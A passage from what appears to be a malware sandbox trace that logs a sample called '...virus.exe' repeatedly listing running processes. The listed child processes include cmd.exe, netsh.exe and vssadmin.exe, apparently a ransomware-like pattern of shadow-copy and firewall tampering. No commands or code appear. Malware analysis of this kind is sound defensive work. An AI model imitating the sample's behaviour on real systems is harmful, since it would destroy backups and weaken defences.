th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0218.403] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.403] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0218.404] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0218.404] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0218.405] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0218.405] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0218.405] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0218.406] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0218.406] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0218.406] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0218.407] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0218.407] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.407] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0218.408] CloseHandle (hObject=0x1ac) returned 1 [0218.408] Sleep (dwMilliseconds=0x1f4) [0218.979] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0218.981] Process32FirstW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.982] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0218.982] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0218.982] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.983] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0218.983] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.984] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0218.984] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0218.984] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0218.985] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0218.985] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.985] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.986] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.986] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.987] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.987] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0218.987] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.988] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.988] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0218.989] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0218.990] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0218.990] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0218.991] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.991] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0218.991] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0218.992] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0218.992] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0218.993] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0218.993] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0218.993] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0218.994] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0218.994] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0218.995] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0218.995] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.995] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0218.996] CloseHandle (hObject=0x1b8) returned 1 [0218.996] Sleep (dwMilliseconds=0x1f4) [0220.067] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0220.069] Process32FirstW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.070] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0220.071] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0220.071] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.072] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0220.072] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.072] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0220.073] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0220.073] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0220.074] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0220.074] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.075] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.075] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.076] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.076] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.076] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0220.077] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.077] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.077] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0220.078] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0220.078] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0220.078] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0220.079] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.079] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0220.080] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0220.080] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0220.080] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0220.081] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0220.081] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0220.082] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0220.082] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0220.083] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0220.083] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, 